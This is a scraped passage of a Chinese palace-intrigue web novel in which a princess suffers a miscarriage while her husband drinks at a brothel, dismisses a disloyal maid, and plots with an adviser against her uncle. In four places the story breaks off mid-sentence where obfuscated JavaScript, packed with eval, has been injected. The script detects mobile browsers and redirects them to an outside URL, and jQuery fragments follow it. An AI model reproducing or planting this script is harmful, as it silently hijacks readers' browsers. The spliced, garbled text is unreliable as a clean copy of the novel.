她匆匆骑马赶到平康坊,把同和居翻个底朝天也没有找到谢随半分踪影,若不是府里的车夫最后松了口,谁能想到他竟敢背着公主出来喝花酒!沿途听得紧闭的屋门后传来的男男女女淫靡之音,翠珠的心里的怒意更胜。她走到门口站定,用劲一把搡开门,让屋里的幽香和隐秘毫无保留一泻而出。 “你是何人?” 屋中之人皆不明所以,吴大人眉头一压喝问道。 翠珠不理他,很快环视一圈,门边的桃木衣架上挂着谢随出门时穿的外衣,知道了谢随就在里面,她便直直冲入屋内翻找起来。 “是长公主府的人,她手里拿着令牌,小人实在不敢拦……” 管事紧跟在翠珠身后进了屋,贴在吴大人耳畔道。 平康坊寸土寸金,这清月桥的雅座虽布置的豪奢却并不宽敞,翠珠很快找到谢随—— 软帘一揭。 梢间里寝具一应俱全,谢随倚在罗汉床上,有个穿粉衣的姑娘坐在床边,低垂着头,翠珠看的清楚,她伸手在谢随的脖颈间,正在解他的衣扣。 翠珠僵住了。 公主在府里九死一生,他却在这温柔乡里醉生梦死……她抄起手边的东西就朝梢间里面掷去。她砸过去的是不知道那位大人的幞头,正正好好砸在谢随的脑袋边上。 小袖一惊。 她一路扶着谢随到梢间躺下,见他有些气短便想帮他解开领口扣子顺顺气,没想到有人突然闯进来,那姑娘穿戴不俗,一副气势汹汹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890093|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模样,不会是这位年轻大人的妻室吧?她赶紧心虚地起身。 廊上冷冰冰的空气扑了进来,谢随也稍微清醒一些,捂着头慢慢支起身。发髻微乱,衣襟更是松松散散开了些,露出底下一截锁骨,酒醺中自然有几分浪荡子的姿态。 “你是谁来着……?” 他半眯着眼,人还迷糊着在梦里。 “都什么时候了,您……” 翠珠心里着急,扬手便拎起地上的花瓶便要倒水好让他清醒清醒,吴大人几人却误以为她又要动手砸人,这么大一个花瓶可不比软纱幞头,要出人命的!几人忙上前拦住她。 翠珠气得一甩手,偏头又往地上狠狠啐了一口。 “奴婢真是看错人了!” 他这幅模样,她就是把他带回府去又如何?一身的脂粉酒气,恐怕只会让冯妙瑜更伤心难过,不如让他就这样烂软醉死在外头!她突然后悔自己当时猪油蒙了心,一股脑想撮合冯妙瑜和他。 翠珠转身甩袖大步离开。 * 意识朦朦胧胧,冯妙瑜整个人都是轻飘飘的,灯影重重,似远似近,一切都近在眼前又远在天边。她隐约瞧见圆脸的朱太医,有人托着她的头一勺勺喂了汤药下去,又酸又苦,眼泪就不受控制的往外淌,满心恐惧。 “我……就要死了吗?”她问朱太医。 “怎么会,你很快就没事了。”朱太医说。可他的声音在抖。 冯妙瑜明白他在说谎安慰自己,因为她还在流血。好多血。一个人又有多少血能流的,她抓住了朱太医的手。分明她才十八岁,还很年轻,还有很多很多想做没有做的事情。 “我不想死……”她说。 朱太医拍了拍冯妙瑜的手,这时候又有人过来喂药,喂得太快,她呛了一下。很快另一个人接过药碗和喂药的差事,是翠珠。 “他呢?”冯妙瑜仰着头问。 翠珠面色微变,但这个时候她怎么敢以实情相告?于是她找了个借口。 “姑爷已经在回府的路上了,一会就到了。” 喂完了药,翠珠又拿帕子俯身帮她擦去额头上的冷汗。很淡,但是胭脂和酒的风尘味道在满是汤药和血腥气的屋子里,就像一群乌鸦里混着一只白鸽。鹤立鸡群。 翠珠是去找谢随的。 同和居只是一间听戏喝茶的茶馆,只是进去找个人的功夫,又怎么会沾染到女子的胭脂味和酒味呢?除非,他今日去的根本就不是同和居。 秦楼楚馆,花街柳巷,那个去处有诸多名字……既有了头一次,还可能没有第二次第三次吗? 想到这里,冯妙瑜在心里轻轻笑了笑。一种悲哀感涌上心头。 “血止住了!” 陈嬷嬷突然抬头激动叫道。 屋里众人皆松了口气,就连从医多年的朱太医也长长舒了口气。血止住了人就有救,他忙吩咐下面人又端了新药上来。冯妙瑜还是觉得疼,却又比之前好受许多,身体上的冰冷粘腻渐渐下去,心里却反之,如坠冰窟一般。 45. 45 谢随回府已过夜半,一切尘埃落定,冯妙瑜睡下了,长公主府内仍然灯火通明,风中犹带铁锈般的血腥气味,侍女们来来回回,捧着盆子或者染红的被褥棉布从他身边沉默穿过。 谢随一人夹在川流的人群之间,茫然且不知所措。 这是出什么事了? 于后墙头送走了朱太医,陈嬷嬷还没回去睡,她转头回来就看见谢随站在门口,气不打一处来。这两个人也是心大,竟然连有了孩子都不知道……她是想两个一块骂个狗血淋头的,只是一个刚刚在鬼门关上晃悠一圈好不容易回来,骂不得,她便将满腔怒火全数倾泻在另一个身上。 “姑爷酒喝好了,可算是找到回家的路了?您这么大的人,怎么连个事情的轻重缓急都分不清楚?” 被陈嬷嬷劈头盖脸指着一通骂,谢随好半天才回过神。 “孩子?” 茫然不解再到惊骇,心里的感觉五味杂陈谢随自己也说不清楚。他没有任何准备。没想过两人会有孩子,更没有想到还来不及因为初为人父而欢喜便失去了它,他头晕目眩似的捂着额头踉跄后退半步,恐惧如同东风席卷落叶般铺天盖地从四面八方圈着他,在场没有人比他更清楚了。 是他杀了这个孩子。 分明已经决定了要好好待她,可他都做了些什么?但事已至此,再想这些毫无意义,他跌跌撞撞三步并做两步往屋里走去。 “妙瑜呢?” “公主已经睡下了。姑爷打算就这样进去?” 陈嬷嬷拦住他,又是一通骂。谢随这才想起自己一身酒气,该洗漱换一身衣裳。 价值不菲的银骨炭,屋内烧着足足三盆,温暖如春。寝具等皆已换了干净的,血腥气还没有散去,陈嬷嬷怕冯妙瑜见风受凉,不敢叫侍女们开窗通风换气,只能放些瓜果熏香先盖盖味儿。 谢随轻手轻脚进屋坐在了榻边,伸手,犹豫许久,他几乎有些不敢抬手撩开榻边的帘帐。 冯妙瑜就躺在里面,头发披散在枕间,安静,苍白,连呼吸都那样微弱,淡得好像下一秒就会突然消失不见。谢随把颤抖着将手指放在她鼻子底下,呼吸轻得几乎感觉不到。分明才过去不到一天,早上她还笑盈盈的和他说话,眼角眉梢艳若春月盛放的牡丹,此时却像干枯了一般。简直像是两个不同的人。 凡夫俗子,终有一死。她会生病,会死。这是再明白不过的道理了。 屋里烧着炭,她身上还盖着厚厚的被子,她却很冷的样子,蹙着眉,连嘴唇都是青白的,他伸手想向以往一样抱着她,又怕弄醒或是弄疼她,只好轻轻覆上她放在被子上的手,纤细冰冷,像握着一块冰。 心里更难受了。 难受地快要喘不过气来。 愧疚自责,还有一种恐惧感在心底嘶嘶滋生。 谢随静静望着她。 如果有一天,她知道了一切会怎么样……她会不会像那天说的那样永远都不会原谅他了? 想着,谢随自顾自地摇了摇头。 不会的,一定不会的,怎么会呢——毕竟她是个心软又好脾气的姑娘,那天也许只是随口那么一说而已,原谅不原谅的,不让她知道那些事情不就好了? 谢随握紧了她的手。 冬月里的太阳像身患重病之人,惨白的光奄奄一息从窗格里垂落到屋子里。冯妙瑜一睁开眼就看到了谢随。 他没上床,就这样衣不解带地趴在塌边上蜷缩着凑合了一宿,眼下带着层薄翳的乌青色,冯妙瑜不过轻轻抽了下手,他便惊醒过来。 阳光下她的脸看起来更苍白,透着光,他有些复杂地说:“你……醒了?可还有哪里不舒服的,我去叫陈嬷嬷过来……” 话到一半,却没了下文。 大颗眼泪从她的眼角滑下,在枕头上烫了一汪深烟色的破洞。她没想要哭,但这不是她能控制得了的,直到这时候她才有了实感。失子之痛,对他的怨恨,那些纷乱而又说不清道不明滚烫的感情,随着冷冰冰的眼泪落地生根,耳边隐约有个稚嫩的声音不断质问她,又嘤嘤呀呀地说好疼,好难受,为什么不要他?他等了好久才等到她做他的娘亲…… “对不起,”她就对那个小小的声音说,“都是我不好,如果我能早一点发现,早一点注意到就不会这样了。” 冯妙瑜无意的呢喃却像刀子一样扎在谢随的心上,他低头去亲她的手背和脸颊,好像这样就能减轻她内心的苦痛一般,“这不是你的错……” 是他的错。 但是他不敢说。她知道了是不是就会不要他了? 冯妙瑜垂眸看着谢随,蜻蜓点水般的吻在肌肤上激起一转转涟漪,她心里却觉得十分厌恶。 这双手,这个人,昨晚是否也似这般在另一个女子的石榴裙下俯首称臣?简直令人作呕,厌恶到可悲——可悲厌恶于自己即使如此,竟仍然对这个人,对这点可怜的温暖抱有爱慕和依恋。 “大人,”外面有人叫道,大概是他的随从,“有位姓夏的公子一直在您的书房里等您,说是有急事找您,您看?” 谢随一怔。 姓夏的公子? 夏宵? 以夏宵的谨慎,若不是紧急时刻他是绝不会冒着暴露的风险跑到长公主府找他。可这个时候他怎么能丢下冯妙瑜不管? “我没事。你去忙吧。” 力气不大,冯妙瑜推开了谢随。 谢随没有动,冯妙瑜再次强调,“你去忙就是。” “我今天告了假,过会我们一起用早膳?”谢随就说。 冯妙瑜点了点头,挺无所谓的。这是心虚补偿她来了?挺好,但没必要。早知今日何必当初。 书房。 夏宵心急如焚,像只玩自己尾巴的猫儿一样背着手在屋子里转了一圈又一圈,影子长长短短,总算等到谢随。 “你来做什么?”谢随问。 “出事了呀,”夏宵鬼头鬼脑关上门窗,“我们和蛮族那边的联络断了。” “这有什么奇怪的?”谢随说。 两边隔着数千里的距离,联系时有时断也是正常的。谢随坐下才端起茶盏,就听夏宵继续道:“是真的断了!” “昨晚我才收到我们的人来信,蛮族内乱,巫阳的万俟一族死伤惨重,王死了,万俟闻和他妹妹万俟满下落不明——” “目前蛮族掌权的是主战的青跶部,他们的人已经一路打到了灵州,我们在西境的人马伤亡不小。大人也很着急,我们接下来该如何是好?” 茶盏落在地上摔了个粉碎。 谢随出去后,陈嬷嬷先来看过了冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900273|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙瑜,女子落胎不是小事,得好生调养才能不落下病根。陈嬷嬷指挥着几个小丫头抬了小机进来,保险起见,这头几日冯妙瑜都不能下床活动。小丫头们端来早膳,早膳是朱太医特地吩咐的,都是清淡又滋补的食物。冯妙瑜想起谢随说要一起吃,就叫她们先等等。 几个小丫头退下去,翠珠也准备跟着下去,冯妙瑜叫住她。 “翠珠,你先别慌走。去我书房里,把右手边抽屉里最上面那卷卷宗拿过来,再把炭盆子端到床边。”冯妙瑜说,她脸上没什么表情。 翠珠如常点头应诺。 送走夏宵,谢随转头往屋里面走。屋里只有冯妙瑜和翠珠两人,也不知道她们说了什么,翠珠正跪在地上哭,上气不接下气的。 “奴婢是无奈,张家那张久闵是什么样的人公主您也是知道的,那日他带人把奴婢堵在巷子里,拿奴婢以前那些事情威胁奴婢,奴婢不得不从——他问的是您那日和颜先生商议的内容,奴婢发誓,奴婢没全说只说了一小半与他!” “你下去收拾东西吧。这么多年主仆一场,我也不至于太绝情,”冯妙瑜说着将手里的卷宗丢进炭火盆里,火苗狰狞扑上去,霎时就烧焦了一大片,这时候她看见谢随进来,也不多言,“这东西就当没有过,日后你也许能找个比我这里更好的差事。我言尽于此,你下去吧。” 翠珠暗地做的那些事情谢随知道一二,他瞟一眼眼圈通红的翠珠,装作不明所以的样子。 “这是怎么了?”谢随问。 “翠珠今后便不在这里做事了。”冯妙瑜平静答。 “翠珠?”谢随刻意顿了下,好像在思考这个人是谁,“我记得她的,蛮能干的。好端端的怎么叫她走,留着用不好吗?” “你倒是头一回过问府里这些杂事。”冯妙瑜说。 翠珠抬手抹了把眼泪,不论目的,谢随是帮她说话,但他到底不了解公主,冯妙瑜若真下了决心没有人能劝动她,冯妙瑜曾说再给她最后一次机会,那就真的只是最后一次机会。无可挽回。她冲冯妙瑜磕了三个头,算是告别。 早膳后冯妙瑜要处理公事不要谢随陪,谢随一个人在书房里待了会,烦心事太多,又踱步走到院子里,翠珠正在一颗老石榴树下站着发呆,见是他,不咸不淡打了招呼。 “公主那边,我会找机会替你再多说两句的。”谢随说。 毕竟能贴身服侍冯妙瑜的人没几个,阿玉和榴红,想再收买一个谈何容易。 “多谢好意,”翠珠缩肩从鼻子里哼了一声,“但不必了。你根本不了解公主。她说出来的话是泼出来的水,不会收回去的。” “也许……” “谢大人。”翠珠冷冷打断他,表情是嘲讽的,“您与其在这里猫哭耗子,倒不如多担心担心您自己——” “奴婢犯了错,一而再辜负公主信任被撵出去,没什么,我做了,我认。可您呢?” “您在做什么奴婢不清楚,奴婢只知道您在做的事情恐怕要比奴婢做的这些事情过分千倍万倍,她那么相信您,奴婢在她身边七年从未见过她那样相信过一个人,”她笑了笑,擦肩从谢随身边走过回耳房去收拾东西,“我的下场如此,您的下场只会更糟糕吧。” 谢随下意识想反驳,张张嘴,却半个字也没说出来。 46. 46 快到晚上,颜先生过来了。 冯妙瑜将邸抄连带早上侍御史李大人托小厮捎来的信递予他。 “证据确凿,李大人上的折子却被父皇驳回了。父皇这是要保皇叔的意思……我估摸要不了几日,皇叔便会领旨前往西境了。” “亲王殿下到了西境,再回来那可不得了了,”颜先生嘀咕着说,又低头不语,摸着胡子,良久才低声道:“要不我们干脆先下手为强……?” 他用手在脖子上一划。 “这是最下策。您也是糊涂了。”冯妙瑜无奈道。 冯重晟身边的护卫少说十几人,这还只是在盛京内。一位实权亲王,哪里是说暗杀就能暗杀的。 “您叫手底下的人细细盯着点皇叔那边,”圣意如此,冯妙瑜也没有更好的办法,“皇叔最近见了什么人,还有往来信件,一一想办法截下来检查。也许能赶在圣旨下来之前,再找出什么猫腻来。” 颜先生点头,起身拱手告退了。临走前,他从袖中取出一件竹筒包着的信交给冯妙瑜。 “这是公主之前吩咐过的。”他叹了口气。 该说真不愧是颜先生,一份断绝夫妻情谊的和离书也能写得这么漂亮,龙章凤藻。冯妙瑜打开草草看了一眼,又原封不动放回竹筒内,叫榴红拿去先放在书房了。 今天是立冬,立冬总是要吃饺子的,又因为朱太医叮嘱,厨房便准备了几样滋补又好消化的汤粥,就连饺子都比往常口味清淡些。 谢随进屋时,冯妙瑜还靠在软枕上翻看李大人捎来的书信,若有所思。谢随微微皱眉,叫人摆了晚膳。 “你先吃吧,我没胃口。” 热腾腾的吃食摆在眼前,炖的油黄鸡汤,白白胖胖的饺子,闻之令人食指大动。冯妙瑜收了文书,却微微别过脸,提不起一点胃口。身子不爽利,一堆烦心事……也有躺久了的缘故。这可还得在床上修养好几天呢。 “这怎么行。” 谢随望着她依旧很苍白的脸,眉头压得更低了,他问过了陈嬷嬷,小产后要悉心调养的,她的身体本来就弱,再不吃东西可怎么行。他盛了小半碗鸡汤放在她面前,温声哄道:“好歹吃两口?” 冯妙瑜没动。谢随干脆起身轻轻坐在她身侧,端起碗,调羹递到她嘴边。 冯妙瑜抿着嘴,斜眼瞪他他也不为所动,这人是铁了心了……侍女们都在看的。她没好气拍开谢随的手,“我自己来。”从他手里接过汤碗三两口喝完了。 谢随笑笑,又夹两只饺子在她碟中,“再吃点饺子?今个是立冬,哪有不吃饺子的。” 她是真不想吃东西,但转念想他告假估摸着也就这一天,明日就要照常早出晚归的上值,不过就这么一回,忍忍便过去了。 于是她拿筷子夹起饺子,虾仁萝卜馅儿的饺子,皮薄薄的,拇指粗细的虾子又香又鲜,她又从盘子夹了一个,想了想,也给谢随碟里夹了一个,“你也吃。”免得他老盯着她看。监工似的。 同时,献亲王府。 大红灯笼高挂,这里又是不同于长公主府的热闹与寂冷。 吹熄了灯,王氏砰的一声重重合上了隔扇。可外间歌伎的鼓乐之声还是从门窗缝隙间溜进来,无孔不入,阴魂不散。 冯重晟右手端着酒杯,左手臂弯里搂着一个,那是最近盛京风头正胜的歌伎,一双桃叶似的眼睛,微醺时面色如暮春西府,美人如斯,他深深吸了口气,低头便想拉着那歌伎好好亲昵一番,谁知那歌伎却突然倾身端起桌上酒杯,小小的鎏金酒杯挡在一张笑盈盈的面孔和一张垂涎的面孔之间。 “西棠贺喜殿下。” “哦?贺喜什么,你知道什么了就道喜?”冯重晟说。 “西棠什么都不知道,只知道殿下高兴,一回府就叫我们兄弟几个过来伺候,肯定是有好事。西棠说的可对?” “就你聪明,”冯重晟大笑着将他搂得更紧,咬耳朵,“这事本王只告诉你一个——” “西境战乱,听说那些蛮子已经打到了灵州。过不了几日,本王就要亲自率领大军上战场了……” “那岂不是很危险,殿下您非要去不可吗?”西棠惊呼一声,担忧道。 冯重晟很是受用,来回揉捏他的肩膀,花枝乱颤。 “区区一群蛮子,何足为惧?何况本王这次去就是去打胜仗的。朔方以北即是丰都,谁都不知道,那里掌管军政大权的防御使正好是我的老朋友,我已给他去了信,到时我们两边的大军双管齐下,保准打那些蛮子一个措手不及,估计他们眼睛都没睁开就被赶回老家去了!” “殿下英勇,西棠再敬您一杯。” 这边热热闹闹打情骂俏着,酒席上,却还有一方寂冷之处。 一双眼睛死死盯着那卿卿我我的两人,同伴端了新酒过来,顺手搡他两下。 “沈枕,别看了。风水轮流转,别看他眼下风光着,迟早有也我们这一天。来喝酒吧。今天这可是上好的兰陵酒,平日可喝不着啊。” 沈枕一把拍开同伴的手,起身。 “一股子骚味,喝什么喝。” “哎,你这是要去哪?” “去外边,找个没骚味的清净地儿喝酒去。”沈枕说。 同伴忙拉着他,低声道:“殿下还在上面坐着呢,你这样私自离席,要是被殿下发现了可不好。” “前提是殿下能发现。”沈枕一脸嘲讽,“新人在那笑呢,我算什么,一个看烦了的玩意儿,他才不会在意呢。” “话也不能这样说嘛。”同伴还想再劝两句,可沈枕已经离开了。 冯妙瑜翻来覆去,这晚睡得很不安稳。梦里断断续续的哭声,撕心裂肺的,她第二天睁开眼睛时天已大亮,手边空空的,床榻上只有她一人。也是,都这个时辰了,谢随早该上衙门了。 阿玉和榴红进来服侍她简单洗漱更衣,又抬了小机进来,蒸蛋,米粥,现烤的胡饼,羊肉汤还有几样小菜。冯妙瑜心不在焉地吃了两口蛋羹,还在想皇叔的事情和李大人昨日捎来信上的话,正想着,门帘响动。大概是阿玉或榴红进来了,这个时间还能有谁啊。 “拿个帕子来,然后把早膳先撤了吧。”冯妙瑜说。 没人回应。 那人轻手轻脚拿了帕子帮她擦去了唇角沾到的汤汁,暗蓝色的便服,冯妙瑜抬眼便看到了谢随。阳光下,他眼睛颜色是浅浅的棕,毛茸茸,很温柔的样子。 “你怎么还在府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“奴婢要不先扶您回屋里去?”榴红左右为难。那边的事情必须得她过去盯着,可又不能让冯妙瑜一个人在这坐着吧。 “没事的,这里离正房不远,两步路而已,我坐会就自己回去了。” “那奴婢先去那边看一眼就来找您。” 冯妙瑜不耐烦的摆摆手,“你去忙就是。” 天气晴朗极了,万里无云,但毕竟入了冬,阳光照在身上也没多少暖意,风还有点冷。 还是回屋里去的好。冯妙瑜想。 她拉了拉反裘披袄,起身慢慢往屋里走,只要走出院子,再拐个弯就能到的,往日走个来回只怕连一盏茶功夫都要不了,可才走到一半,她的两条腿就不住的打颤,一点力气都使不上来,走不动了。 有三两个小丫鬟步履轻快自院门外匆匆路过,明明很近,却像是两个世界的人,冯妙瑜叫了两声,大概是她的声音太小太微弱了,那几个小丫鬟没听到,走掉了。 冯妙瑜只好扶着绳坐在最近的秋千上,回头看,也就十几步路而已,她却出了一身虚汗,风一吹,冷飕飕的。她心里突然没有由来的生出恐惧和低落。 人怎么会虚弱成这个样子呢……会好起来吗?如果好不起来怎么办,连走两步路都困难,那她还能做什么? 正胡思乱想着,阿玉找过来了。 “公主,颜先生过来了。”阿玉说,“您怎么坐在这里,还出了这么多汗——是不舒服吗?” 冯妙瑜立刻摇了摇头,像是要证明自己没问题似的硬撑着起身,心里空茫茫,面上却又笑道:“玩会秋千罢了,颜先生人呢?” 47. 47 蛮族突然撕毁两国和约出兵之事已在盛京圈子里传开了。不过盛京离西境足有数千里之远,中间还隔着道号称天下第一关,从未被从外部击破过的的永安关。知道归知道,生活归生活——盛京还是那个盛京。 颜先生一路上过来,变戏法的,卖热茶的,给人算命占卜的……卖炒栗子的妇人拖着个缩头缩手的孩子沿街大声叫卖: “炒栗子!又香又甜的大栗子……走过路过,来一包尝尝吧……” 冯妙瑜进屋的时候,颜先生正在炭盆边猴儿似的两只手里来回倒腾着颗烫栗子,手边一只成人半臂长的的盒子,阿胶,燕窝,花胶……那是带给冯妙瑜的探望礼,再旁边,粗粗看堆着少说有几十包炒栗子。 “您这是买了个炒栗摊子?”冯妙瑜惊诧道。 就是松鼠鸟儿囤冬粮也没这样的囤法吧。 “栗子嘛,健脾补肾的,这人冬天就要多吃板栗。” 颜先生为掩饰尴尬挠头打哈哈,一把年纪的人,总不好意承认自己又一时冲动把人家摊上所有栗子都买下来了。 冯妙瑜无奈地叹口气,看他神情大概能猜个八九不离十,颜先生也不是头一回头脑发热。之前他还一口气买了十多斤白面酥饼,买了后又怕回家后挨夫人训,于是全部塞给冯妙瑜。冯妙瑜这辈子都不想再吃……再看见白面酥饼了。再之前是冰糖葫芦,再再之前是元宵……颜先生的夫人不许他管账是有道理的,他管账迟早败光家底。 阿玉给冯妙瑜拿了条毯子,收了东西便出去了。屋里只剩下冯妙瑜和颜先生两人,炭噼噼啪啪烧着,颜先生将一封信推给冯妙瑜。 冯妙瑜拆开很快看了两遍,信上没有收信人,也没有写落款,只是内容实在叫人玩味,写的是有关丰都调军之事。 “这信是哪来的?奇怪了,也没听说父皇下旨从丰都调军支援朔方啊?” 丰都扼守着大梁北境门户。从丰都调军,那北境的防御怎么办,那里的边防本来就人手不足。拆了东墙补西墙,父皇不可能不考虑这个,允许从丰都调军的。冯妙瑜有些摸不着头脑,望向颜先生。 “这信是从献亲王府里弄到手的,”颜先生又抓了个栗子,眼睛睁得大大的,身体稍稍前探,“这段时间我一直叫人盯着献亲王府上。他们也是谨慎的很,但凡要紧的书信函件都不从王府里走,走的是军中的加急公函,我们的探子不敢拦,却无意搭上了他们府里一个失了宠的小相公。” “那小相公好说话得很,不过喝了两杯酒,聊了几次,便什么都说了。献亲王殿下和丰都防御使私交甚好,献亲王殿下打算私自从丰都调兵对付蛮族……他甚至还帮我们从献亲王殿下的书房偷出了这封信。虽然没有写落款,但笔迹一核对就明明白白了。” “那个小相公可靠吗?”冯妙瑜没忍住也伸手剥栗子吃了,“不会是皇叔故意放出来的吧?” “您放心,我已经着人仔细查过了,这个人没有问题。” 冯妙瑜又把那封信从头到尾看了一遍。 和戍边的节度使防御使有私交算不得什么,朝中大小官员,同僚,师生,同乡有所交往再正常不过,谁能因为这个给他定罪。至于未经准许从丰都调兵,这也算不上什么——打赢了蛮族后一句“将在外君命有所不受”就糊弄过去了。 能制住皇叔的其实只有功高震主一条。 说到底还是帝王的忌惮。 自古以来,帝王都是孤家寡人。君主之位从来容不得任何人有分毫觊觎染指。 “您的意思我明白了。” 既要让冯重明相信皇叔与丰都防御使勾结图谋不轨,那这封信就得以合情合理的方式流落出来,再由某位冯重明非常信任器重的人交给他才行,冯妙瑜心里已有了大概的主意和人选,她收了信。 “那个偷信出来的人,不能留着。” 那相公知道事情的原委,留着就是一个隐患。 “老夫明白。一个失了宠的相公,晚上喝多了酒,一个人在回去路上不小心失足掉进了河里也不是什么奇怪的事。”说罢,颜先生便起身拱手准备告辞,笑眯眯的,“既事情说完了,那我也不打扰您休养了。” “您先别着急走,我还有事要劳烦您。”冯妙瑜却叫住他,压低了声音,“您来看看这个。” 她拿出那日侍御史李大人捎给她的信。 “颜先生,您不觉得这件事从头到尾都透着不对劲吗?从一开始白大人找我帮忙,到我连夜入宫向父皇禀报,再到第二天早朝的寒门上书……一切进行的太顺畅了。寒门也是形形色色的人组成的。他们中有人依附于世家,有人憎恶着世家……什么时候这么团结过了。上书弹劾世家,这么做也许能让他们心里痛快些吧,但除此之外,对他们又能有什么好处?对世家又有什么好处?” “难道您怀疑白大人别有用心?”颜先生问。 “他?他若是有这份算计和狠劲,就不会屈居于一个大理寺寺丞了,”冯妙瑜摇摇头,炭火房里干燥,又说了好一会话,她喝了口水润润嗓才继续道:“两败俱伤的事情。我这几天一直再想这件事,思来想去,我认为盛京很可能出现了一股既不归属于世家,又不归属于寒门的势力。这次的事情便是他们在暗中鼓动,甚至从一开始就有可能是他们的人一手促成的。” “所以您是想要我下去调查这股势力?” 冯妙瑜微微颔首,表情凝重,“如果真的有这样一股势力,敢设这样的局,把我们这么多人都蒙在鼓里当成棋子使唤,我不清楚他们的目的是什么,但他们的野心绝对不小。眼下他们还藏在暗处,您调查时要万分小心,千万不能打草惊蛇,惊动了他们。” “您说,这股势力有没有可能和蛮族有关系?”颜先生摸了摸胡子问。 “那是最坏的可能。”冯妙瑜说。 “那老夫先差人下去查查,有了消息再来向您汇报。”颜先生拱手退下了。 阿玉进来送药时,冯妙瑜手里仍捏着那封颜先生带来的信,她靠在椅子上望着供桌后面那对四君子的堂屏,春夏秋冬,梅兰竹菊,一一排开。 “公主,到该吃药的时辰了。”阿玉说。 “知道了,先放着吧。帮我拿纸笔过来。” 冯妙瑜脸上没什么表情。能制住皇叔,给他削个爵贬个官,这就够了吗?不,远远不够。无论有意无意,差点害死她,害死她的孩子的事情怎么能这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927317|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻易就过去呢。她转过身,又瞥见桌上的栗子小山,“这些栗子是颜先生带来的,你拿下去给府里的大家分了吧。” 长公主府,问梅阁。 “真是欺人太甚!岂有此理!” 赵岳才从外面锻炼回屋,就见白去华拍桌抱怨道。 “这是怎么了?”赵岳不明所以,便问。 白去华指着桌上的炒栗子,“你来看看这个!” “唔,是炒栗子啊。这栗子有什么问题吗?”赵岳依旧不解。 “你瞧不出来吗?这栗子又小又干,明显不是他们府里常吃的那种由南地进贡来的——还是冷的,都放凉了才送到我们这里来!我看这长公主府里的人和外面那些人没什么分别,见人第一面都是先看人家穿什么衣裳戴什么首饰,势利得很!他们看我们两人寄人篱下,公主也不来过问我们,便拿吃剩下的不要的打发我们!这是明摆着欺负人,看不起我们了!” “我看是你想多了。什么势利不势利,看人下菜碟的。一盘栗子而已,天气又冷,拿来的路上凉了呗。” 为了两人的安全起见,这些天他们只能在长公主府内活动活动,不能离开长公主府。赵岳便猜他是在屋里憋久了心情烦闷,难免胡思乱想,便随意安慰了两句。 白去华依旧沉着脸,他突然一把抓着赵岳的手。 “赵岳,等这事过去了你有什么打算?我们也不可能在这里留一辈子吧?” “我还没什么打算呢,就想着在盛京找份差事糊口,要是能把我家里人接来最好。”赵岳为难,但他一时间也想不出其他的,只好如实答了。 “我已经打算好了,等这事一结束我就去去宋罂大人手下做事,”白去华压了压声线,在赵岳耳畔道:“我已经和宋大人联系上了,他那边缺人的紧,你要不要和我一起去去宋大人手下做事?宋大人慷慨,官位也不小,到时候你我前途可谓一片光明啊。” 说完,他横着胳膊肘撞了下赵岳。 “宋罂大人?”这个名字有些耳熟,赵岳想了想,异常吃惊,白去华怎么和宋罂扯上关系了?但赵岳嘴上还是委婉道:“可我听说那位大人的名声不大好……” 何止是名声不好,宋罂这个人在朝中简直是臭名昭著。实干没多少,却是个纸上谈兵的行家,年近半百,总算靠着一张三寸不烂之舌奉承上了位,却转头就把曾在微寒时提携他的岳丈一家踩在脚下。肚子里有三两滴墨水的读书人多多少少都有些傲骨的,士可杀不可辱,没几个人愿意自降身价和宋罂扯上关系,可帝王偏偏赏识他,时常召见。世家,官位比他高的人不屑管他,官位比他小又管不了他,于是谁都拿他没有办法。 “那些都是虚的,最要紧的是宋大人愿意提携我们,有他帮我们能少走多少弯路?你还记得我们那个姓黄的同窗?他不就背靠大树一路高升吗?当年他可是哪哪都比不上我们的……要我说宋大人这事,是提着灯笼去找都找不到这样的机会。就一句话,你愿不愿意和我一起?”白去华一脸期待。 “你……你让我想想。”赵岳为难道。 这真的是个好机会吗?他想问白去华,但看到白去华的眼神,他又把问题吞回了肚子里。 48. 48 到底是急景凋年,一晃眼十几日过去。 小雪过后,赵氏约了冯妙瑜去宣阳坊新开的绸缎庄散心。两人逛了半日,民间织物虽比不得宫里精致,却胜在纹饰花样繁多,甚是新奇,两人说笑着各挑了些让店家包好了送去府里,逛累了,转头又去附近的草堂茶亭喝茶歇脚。 